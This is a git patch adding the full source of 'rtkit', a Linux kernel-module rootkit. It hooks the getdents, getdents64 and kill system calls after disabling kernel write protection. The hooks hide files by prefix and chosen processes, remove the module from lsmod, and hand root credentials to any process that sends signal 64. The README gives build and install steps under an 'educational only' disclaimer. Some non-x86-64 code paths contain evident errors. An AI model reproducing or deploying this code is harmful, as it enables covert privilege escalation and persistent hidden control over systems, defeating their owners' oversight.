From e354db364572e2ade36a5e407b52c615307c0b0b Mon Sep 17 00:00:00 2001 From: Blenderwizard Date: Fri, 23 Dec 2022 02:44:32 +0100 Subject: [PATCH] Initial Commit --- .gitignore | 10 +++ Makefile | 17 ++++ README.md | 41 +++++++++ include/cred_helper.h | 24 ++++++ include/hide_show_helper.h | 23 +++++ include/rootkit_utils.h | 50 +++++++++++ include/syscall_getdents64_hook.h | 130 ++++++++++++++++++++++++++++ include/syscall_getdents_hook.h | 136 ++++++++++++++++++++++++++++++ include/syscall_kill_hook.h | 100 ++++++++++++++++++++++ include/syscall_table_fetch.h | 54 ++++++++++++ rtkit.c | 87 +++++++++++++++++++ 11 files changed, 672 insertions(+) create mode 100644 .gitignore create mode 100644 Makefile create mode 100644 README.md create mode 100644 include/cred_helper.h create mode 100644 include/hide_show_helper.h create mode 100644 include/rootkit_utils.h create mode 100644 include/syscall_getdents64_hook.h create mode 100644 include/syscall_getdents_hook.h create mode 100644 include/syscall_kill_hook.h create mode 100644 include/syscall_table_fetch.h create mode 100644 rtkit.c diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..e345507 --- /dev/null +++ b/.gitignore @@ -0,0 +1,10 @@ +*.cmd +Module.symvers +modules.order +*.ko +*.o +*.mod.c +*.mod +.vscode +.TMP* +*.d \ No newline at end of file diff --git a/Makefile b/Makefile new file mode 100644 index 0000000..2977c13 --- /dev/null +++ b/Makefile @@ -0,0 +1,17 @@ +obj-m += rtkit.o + +KERNEL_ROOT=/lib/modules/$(shell uname -r)/build + +all: modules + +modules: + @$(MAKE) -C $(KERNEL_ROOT) M=$(shell pwd) modules + +clean: + @$(MAKE) -C $(KERNEL_ROOT) M=$(shell pwd) clean + +install: rtkit.ko + insmod rtkit.ko + +uninstall: + rmmod rtkit \ No newline at end of file diff --git a/README.md b/README.md new file mode 100644 index 0000000..496da13 --- /dev/null +++ b/README.md @@ -0,0 +1,41 @@ +

+ rtkit: By Jolan "Blenderwizard" Rathelot +

+ +## What is this ? + +rtkit is a Simple Linux Kernel Module, or LKM, rootkit that allows users to hide process, file and directories, grant a root shell, and hide itself the kernel mod list. + +> **Warning** +> +> Use of this project is for **Educational / Testing purposes only**. Using it on **unauthorised machines** is **strictly forbidden**. If somebody is found to use it for **illegal / malicious intent**, author of the repo will **not** be held responsible. + +> **Info** +> +> This Module has only been tested on linux kernel version 6.0.0. It should be compatable with most other versions. + +### Resources + +1. [TheXcellerator's LKM Blog](https://xcellerator.github.io/posts/linux_rootkits_01/) +2. [Ethical Hacking by Daniel G. Graham](https://nostarch.com/ethical-hacking) +3. ChatGPT ¯\\\_(ツ)_/¯ + +### Features + +1. The ablility to hide any file or directory that start with a prefix, by default this prefix is `"rtkit_exclude"`. This prefix can be modified by changing `DIRECTORY_EXCLUSION_PREFIX` found in `include/rootkit_utils.h`. +2. The ablility to hide user definable process ids. Running `kill -66 ` hide the any running process with that pid. The number 66 can be changed by modifying `TOGGLE_PID_HIDE_SIGNAL_CODE` in `include/rootkit_utils.h` +3. The ability to hide or show the module from `lsmod`. Running `kill -65 ` toggles it's visiblility. The number 65 can be changed by modifying `TOGGLE_MODULE_HIDE_SIGNAL_CODE` in `include/rootkit_utils.h` +4. The ablility to get a root shell. Running `kill -64 ` grants you a root shell. The number 64 can be changed by modifying `ROOT_SHELL_SIGNAL_CODE` in `include/rootkit_utils.h` + +## Install + +Clone the repository and navigate to the root of the directory, to build and install the module, simply run `make` followed by `make install`. + +You will need to be a privelaged used on the system to run `make install`. + +Congrats the rootkit has been installed! + +## Uninstall +To uninstall you need to unhide the module, the default to unhide the module command is `kill -65 1`. Then run `make uninstall`. + + diff --git a/include/cred_helper.h b/include/cred_helper.h new file mode 100644 index 0000000..f27a8be --- /dev/null +++ b/include/cred_helper.h @@ -0,0 +1,24 @@ +#include + +#ifndef CRED_HELPER_H +#define CRED_HELPER_H + +static void get_root(void) { + struct cred* root; + + root = prepare_creds(); + if (root == NULL) { + return; + } + root->uid.val = 0; + root->gid.val = 0; + root->euid.val = 0; + root->egid.val = 0; + root->suid.val = 0; + root->sgid.val = 0; + root->fsuid.val = 0; + root->fsgid.val = 0; + commit_creds(root); +} + +#endif \ No newline at end of file diff --git a/include/hide_show_helper.h b/include/hide_show_helper.h new file mode 100644 index 0000000..a880d61 --- /dev/null +++ b/include/hide_show_helper.h @@ -0,0 +1,23 @@ +#include +#include + +#include "rootkit_utils.h" + +#ifndef HIDE_SHOW_HELPER_H +#define HIDE_SHOW_HELPER_H + +static short hidden = 0; +static struct list_head * previous_module; + +static void hideme(void) { + previous_module = THIS_MODULE->list.prev; + list_del(&THIS_MODULE->list); + hidden = 1; +} + +static void showme(void) { + list_add(&THIS_MODULE->list, previous_module); + hidden = 0; +} + +#endif \ No newline at end of file diff --git a/include/rootkit_utils.h b/include/rootkit_utils.h new file mode 100644 index 0000000..f7a03f5 --- /dev/null +++ b/include/rootkit_utils.h @@ -0,0 +1,50 @@ +#include +#include +#include +#include + +#ifndef ROOTKIT_UTILS_H +#define ROOTKIT_UTILS_H + +// ===== CONFIG ====== + +// File prefix that excludes entries from getdents64 +#define DIRECTORY_EXCLUSION_PREFIX "rtkit_exclude" + +// Signal code that drops a root shell +#define ROOT_SHELL_SIGNAL_CODE 64 + +// Signal code that toggles rootkit visablity +#define TOGGLE_MODULE_HIDE_SIGNAL_CODE 65 + +// Signal code to change the hidden pid +#define TOGGLE_PID_HIDE_SIGNAL_CODE 66 + +// // Default port to hide, if equal to 0, hides none +// #define PORT_HIDE_DEFAULT_PORT 0 + +// =================== + +#if defined(CONFIG_X86_64) && (LINUX_VERSION_CODE >= KERNEL_VERSION(4,17,0)) +#define PTREGS_SYSCALL_STUBS 1 +typedef asmlinkage long (*tt_syscall)(const struct pt_regs *); +#endif + +struct linked_list_node { + void *data; + struct list_head list; +}; + +static LIST_HEAD(excluded_pids); + +void append_node(struct list_head *list, void * data) { + struct linked_list_node *entry; + entry = kmalloc(sizeof *entry, GFP_KERNEL); + if (!entry) + return; + entry->data = data; + INIT_LIST_HEAD(&entry->list); + list_add_tail(&entry->list, list); +} + +#endif \ No newline at end of file diff --git a/include/syscall_getdents64_hook.h b/include/syscall_getdents64_hook.h new file mode 100644 index 0000000..4401147 --- /dev/null +++ b/include/syscall_getdents64_hook.h @@ -0,0 +1,130 @@ +#include + +#include "syscall_table_fetch.h" +#include "rootkit_utils.h" + +#ifndef SYSCALL_GETDENTS64_HOOK_H +#define SYSCALL_GETDENTS64_HOOK_H + +#ifdef PTREGS_SYSCALL_STUBS +static tt_syscall original_getdents64; +#else +typedef asmlinkage long (*tt_syscall_getdents64)(unsigned int fd, struct linux_dirent64 *dirp, unsigned int count); +static tt_syscall_getdents64 original_getdents64; +#endif + +#ifdef PTREGS_SYSCALL_STUBS +static asmlinkage int getdents64_hook(const struct pt_regs *regs) { + struct linux_dirent64 __user *dirent = (struct linux_dirent64 *)regs->si; + struct linux_dirent64 *previous_dir, *current_dir, *dirent_ker = NULL; + unsigned long offset = 0; + long error; + int ret = original_getdents64(regs); + + dirent_ker = (struct linux_dirent64*) kzalloc(ret, GFP_KERNEL); + if ((ret <= 0) || (dirent_ker == NULL)) { + return ret; + } + error = copy_from_user(dirent_ker, dirent, ret); + if (error) { + kfree(dirent_ker); + return ret; + } + while (offset < ret) { + current_dir = (void *) dirent_ker + offset; + if (memcmp(DIRECTORY_EXCLUSION_PREFIX, current_dir->d_name, strlen(DIRECTORY_EXCLUSION_PREFIX)) == 0) { + if (current_dir == dirent_ker) { + ret -= current_dir->d_reclen; + memmove(current_dir, (void *)current_dir + current_dir->d_reclen, ret); + continue; + } + previous_dir->d_reclen += current_dir->d_reclen; + } else { + struct linked_list_node *node; + int found = 0; + list_for_each_entry(node, &excluded_pids, list) { + if (memcmp((char *) node->data, current_dir->d_name, strlen((char *) node->data)) == 0) { + found = 1; + break; + } + } + if (found) { + if (current_dir == dirent_ker) { + ret -= current_dir->d_reclen; + memmove(current_dir, (void *) current_dir + current_dir->d_reclen, ret); + continue; + } + previous_dir->d_reclen += current_dir->d_reclen; + } else { + previous_dir = current_dir; + } + } + offset += current_dir->d_reclen; + } + error = copy_to_user(dirent, dirent_ker, ret); + if (error) { + kfree(dirent_ker); + return ret; + } + kfree(dirent_ker); + return ret; +} +#else +static asmlinkage int getdents64_hook(unsigned int fd, struct linux_dirent64 *dirp, unsigned int count) { + struct linux_dirent64 *previous_dir, *current_dir, *dirent_ker = NULL; + unsigned long offset = 0; + long error; + int ret = original_getdents64(fd, dirp, count); + + dirent_ker = (struct linux_dirent64*) kzalloc(ret, GFP_KERNEL); + if ((ret <= 0) || (dirent_ker == NULL)) { + return ret; + } + error = copy_from_user(dirent_ker, dirent, ret); + if (error) { + kfree(dirent_ker); + return ret; + } + while (offset < ret) { + current_dir = (void *) dirent_ker + offset; + if (memcmp(DIRECTORY_EXCLUSION_PREFIX, current_dir->d_name, strlen(DIRECTORY_EXCLUSION_PREFIX)) == 0) { + if(current_dir == dirent_ker) { + ret -= current_dir->d_reclen; + memmove(current_dir, (void *)current_dir + current_dir->d_reclen, ret); + continue; + } + previous_dir->d_reclen += current_dir->d_reclen; + } else { + struct linked_list_node *node; + int found = 0; + list_for_each_entry(node, &excluded_pids, list) { + if (memcmp((char *) node->data, current_dir->d_name, strlen((char *) node->data)) == 0) { + found = 1; + break; + } + } + if (found) { + if (current_dir == dirent_ker) { + ret -= current_dir->d_reclen; + memmove(current_dir, (void *) current_dir + current_dir->d_reclen, ret); + continue; + } + previous_dir->d_reclen += current_dir->d_reclen; + } else { + previous_dir = current_dir; + } + } + offset += current_dir->d_reclen; + } + error = copy_to_user(dirent, dirent_ker, ret); + if (error) { + kfree(dirent_ker); + return ret; + } + kfree(dirent_ker); + return ret; +} +#endif + + +#endif \ No newline at end of file diff --git a/include/syscall_getdents_hook.h b/include/syscall_getdents_hook.h new file mode 100644 index 0000000..cdba2dd --- /dev/null +++ b/include/syscall_getdents_hook.h @@ -0,0 +1,136 @@ +#include + +#include "syscall_table_fetch.h" +#include "rootkit_utils.h" + +#ifndef SYSCALL_GETDENTS_HOOK_H +#define SYSCALL_GETDENTS_HOOK_H + +struct linux_dirent { + unsigned long d_ino; + unsigned long d_off; + unsigned short d_reclen; + char d_name[1]; +}; + +#ifdef PTREGS_SYSCALL_STUBS +static tt_syscall original_getdents; +#else +typedef asmlinkage long (*tt_syscall_getdents)(unsigned int fd, struct linux_dirent *dirp, unsigned int count); +static tt_syscall_getdents original_getdents; +#endif + +#ifdef PTREGS_SYSCALL_STUBS +static asmlinkage int getdents_hook(const struct pt_regs *regs) { + struct linux_dirent __user *dirent = (struct linux_dirent *)regs->si; + struct linux_dirent *previous_dir, *current_dir, *dirent_ker = NULL; + unsigned long offset = 0; + long error; + int ret = original_getdents(regs); + + dirent_ker = (struct linux_dirent *) kzalloc(ret, GFP_KERNEL); + if ((ret <= 0) || (dirent_ker == NULL)) { + return ret; + } + error = copy_from_user(dirent_ker, dirent, ret); + if (error) { + kfree(dirent_ker); + return ret; + } + while (offset < ret) { + current_dir = (void *) dirent_ker + offset; + if (memcmp(DIRECTORY_EXCLUSION_PREFIX, current_dir->d_name, strlen(DIRECTORY_EXCLUSION_PREFIX)) == 0) { + if(current_dir == dirent_ker) { + ret -= current_dir->d_reclen; + memmove(current_dir, (void *)current_dir + current_dir->d_reclen, ret); + continue; + } + previous_dir->d_reclen += current_dir->d_reclen; + } else { + struct linked_list_node *node; + int found = 0; + list_for_each_entry(node, &excluded_pids, list) { + if (memcmp((char *) node->data, current_dir->d_name, strlen((char *) node->data)) == 0) { + found = 1; + break; + } + } + if (found) { + if (current_dir == dirent_ker) { + ret -= current_dir->d_reclen; + memmove(current_dir, (void *) current_dir + current_dir->d_reclen, ret); + continue; + } + previous_dir->d_reclen += current_dir->d_reclen; + } else { + previous_dir = current_dir; + } + } + offset += current_dir->d_reclen; + } + error = copy_to_user(dirent, dirent_ker, ret); + if (error) { + kfree(dirent_ker); + return ret; + } + kfree(dirent_ker); + return ret; +} +#else +static asmlinkage int getdents_hook(unsigned int fd, struct linux_dirent *dirp, unsigned int count) { + struct linux_dirent *previous_dir, *current_dir, *dirent_ker = NULL; + unsigned long offset = 0; + long error; + int ret = original_getdents(fd, dirp, count); + + dirent_ker = (struct linux_dirent*) kzalloc(ret, GFP_KERNEL); + if ((ret <= 0) || (dirent_ker == NULL)) { + return ret; + } + error = copy_from_user(dirent_ker, dirent, ret); + if (error) { + kfree(dirent_ker); + return ret; + } + while (offset < ret) { + current_dir = (void *) dirent_ker + offset; + if (memcmp(DIRECTORY_EXCLUSION_PREFIX, current_dir->d_name, strlen(DIRECTORY_EXCLUSION_PREFIX)) == 0) { + if(current_dir == dirent_ker) { + ret -= current_dir->d_reclen; + memmove(current_dir, (void *)current_dir + current_dir->d_reclen, ret); + continue; + } + previous_dir->d_reclen += current_dir->d_reclen; + } else { + struct linked_list_node *node; + int found = 0; + list_for_each_entry(node, &excluded_pids, list) { + if (memcmp((char *) node->data, current_dir->d_name, strlen((char *) node->data)) == 0) { + found = 1; + break; + } + } + if (found) { + if (current_dir == dirent_ker) { + ret -= current_dir->d_reclen; + memmove(current_dir, (void *) current_dir + current_dir->d_reclen, ret); + continue; + } + previous_dir->d_reclen += current_dir->d_reclen; + } else { + previous_dir = current_dir; + } + } + offset += current_dir->d_reclen; + } + error = copy_to_user(dirent, dirent_ker, ret); + if (error) { + kfree(dirent_ker); + return ret; + } + kfree(dirent_ker); + return ret; +} +#endif + +#endif \ No newline at end of file diff --git a/include/syscall_kill_hook.h b/include/syscall_kill_hook.h new file mode 100644 index 0000000..43f17a1 --- /dev/null +++ b/include/syscall_kill_hook.h @@ -0,0 +1,100 @@ +#include + +#include "syscall_table_fetch.h" +#include "rootkit_utils.h" +#include "hide_show_helper.h" +#include "cred_helper.h" + +#ifndef SYSCALL_KILL_HOOK_H +#define SYSCALL_KILL_HOOK_H + + +#ifdef PTREGS_SYSCALL_STUBS +static tt_syscall original_kill; +#else +typedef asmlinkage long (*tt_syscall_kill)(unsigned int fd, struct linux_dirent *dirp, unsigned int count); +static tt_syscall_kill original_kill; +#endif + +#ifdef PTREGS_SYSCALL_STUBS +static asmlinkage int kill_hook(const struct pt_regs * regs) { + int signal = (int) regs->si; + + if (signal == ROOT_SHELL_SIGNAL_CODE) { + get_root(); + return 0; + } else if (signal == TOGGLE_MODULE_HIDE_SIGNAL_CODE) { + if (hidden == 0) { + hideme(); + } else { + showme(); + } + return 0; + } else if (signal == TOGGLE_PID_HIDE_SIGNAL_CODE) { + char * strpid; + struct linked_list_node *node; + struct linked_list_node *target = NULL; + + strpid = (char *) kzalloc(20, GFP_KERNEL); + if ((strpid == NULL)) { + return 0; + } + snprintf(strpid, 20, "%d", (int) regs->di); + list_for_each_entry(node, &excluded_pids, list) { + if (memcmp(node->data, strpid, strlen(strpid)) == 0) { + target = node; + break; + } + } + if (target) { + list_del(&target->list); + kfree(target->data); + kfree(target); + } else { + append_node(&excluded_pids, strpid); + } + return 0; + } + return original_kill(regs); +} +#else +static asmlinkage int kill_hook(pid_t pid, int sig) { + if (sig == ROOT_SHELL_SIGNAL_CODE) { + get_root(); + return 0; + } else if (sig == TOGGLE_MODULE_HIDE_SIGNAL_CODE) { + if (hidden == 0) { + hideme(); + } else { + showme(); + } + return 0; + } else if (sig == TOGGLE_PID_HIDE_SIGNAL_CODE) { + char * strpid; + struct linked_list_node *node; + struct linked_list_node *target = NULL; + + strpid = (char *) kzalloc(20, GFP_KERNEL); + if ((strpid == NULL)) { + return 0; + } + snprintf(strpid, 20, "%d", (int) regs->di); + list_for_each_entry(node, &excluded_pids, list) { + if (memcmp(node->data, strpid, strlen(strpid)) == 0) { + target = node; + break; + } + } + if (target) { + list_del(&target->list); + kfree(target->data); + kfree(target); + } else { + append_node(&excluded_pids, strpid); + } + return 0; + } + return original_kill(pid, sig); +#endif + +#endif \ No newline at end of file diff --git a/include/syscall_table_fetch.h b/include/syscall_table_fetch.h new file mode 100644 index 0000000..0a29e14 --- /dev/null +++ b/include/syscall_table_fetch.h @@ -0,0 +1,54 @@ +#include +#include +#include +#include +#include +#include +#include + +#include "rootkit_utils.h" + +#ifndef SYSCALL_TABLE_FETCH_H +#define SYSCALL_TABLE_FETCH_H + +#if LINUX_VERSION_CODE >= KERNEL_VERSION(5,7,0) +#define KPROBE_LOOKUP 1 +#include + +static struct kprobe kp = { + .symbol_name = "kallsyms_lookup_name" +}; +#endif + +unsigned long cr0; +static unsigned long *__sys_call_table; + +unsigned long *get_syscall_table(void) { + unsigned long *syscall_table; + +#ifdef KPROBE_LOOKUP + typedef unsigned long (*kallsyms_lookup_name_t)(const char *name); + + kallsyms_lookup_name_t kallsyms_lookup_name; + register_kprobe(&kp); + kallsyms_lookup_name = (kallsyms_lookup_name_t) kp.addr; + unregister_kprobe(&kp); +#endif + syscall_table = (unsigned long*)kallsyms_lookup_name("sys_call_table"); + return syscall_table; +} + +static inline void write_cr0_forced(unsigned long val) { + unsigned long __force_order; + asm volatile("mov %0, %%cr0" : "+r"(val), "+m"(__force_order)); +} + +static inline void protect_memory(void) { + write_cr0_forced(cr0); +} + +static inline void unprotect_memory(void) { + write_cr0_forced(cr0 & ~0x00010000); +} + +#endif diff --git a/rtkit.c b/rtkit.c new file mode 100644 index 0000000..6fbdbc8 --- /dev/null +++ b/rtkit.c @@ -0,0 +1,87 @@ +#include +#include +#include +#include +#include + +#include "include/syscall_table_fetch.h" + +#include "include/hide_show_helper.h" + +#include "include/syscall_getdents64_hook.h" +#include "include/syscall_getdents_hook.h" +#include "include/syscall_kill_hook.h" + +static int __init rootkit_init(void) { + __sys_call_table = get_syscall_table(); + if (!__sys_call_table) + return -1; + + cr0 = read_cr0(); +#ifdef PTREGS_SYSCALL_STUBS +#ifdef __NR_getdents64 + original_getdents64 = (tt_syscall)__sys_call_table[__NR_getdents64]; +#endif +#ifdef __NR_getdents + original_getdents = (tt_syscall)__sys_call_table[__NR_getdents]; +#endif +#ifdef __NR_kill + original_kill = (tt_syscall)__sys_call_table[__NR_kill]; +#endif +#else +#ifdef __NR_getdents64 + original_getdents64 = (tt_syscall_getdents64)__sys_call_table[__NR_getdents64]; +#endif +#ifdef __NR_getdents + original_getdents = (tt_syscall_getdents)__sys_call_table[__NR_getdents]; +#endif +#ifdef __NR_kill + original_kill = (tt_syscall_kill)__sys_call_table[__NR_kill]; +#endif +#endif + + unprotect_memory(); +#ifdef __NR_getdents64 + __sys_call_table[__NR_getdents64] = (unsigned long) getdents64_hook; +#endif +#ifdef __NR_getdents + __sys_call_table[__NR_getdents] = (unsigned long) getdents_hook; +#endif +#ifdef __NR_kill + __sys_call_table[__NR_kill] = (unsigned long) kill_hook; +#endif + protect_memory(); + + hideme(); + return 0; +} + +static void __exit rootkit_exit(void) { + struct linked_list_node *ptr, *tmp; + + unprotect_memory(); +#ifdef __NR_getdents64 + __sys_call_table[__NR_getdents64] = (unsigned long) original_getdents64; +#endif +#ifdef __NR_getdents + __sys_call_table[__NR_getdents] = (unsigned long) original_getdents; +#endif +#ifdef __NR_kill + __sys_call_table[__NR_kill] = (unsigned long) original_kill; +#endif + protect_memory(); + + list_for_each_entry_safe(ptr, tmp, &excluded_pids, list){ + list_del(&ptr->list); + kfree(ptr->data); + kfree(ptr); + } +} + +module_init(rootkit_init); +module_exit(rootkit_exit); + +MODULE_LICENSE("GPL"); +MODULE_AUTHOR("Blenderwizard"); +MODULE_DESCRIPTION("Rootkit"); +MODULE_VERSION("0.01");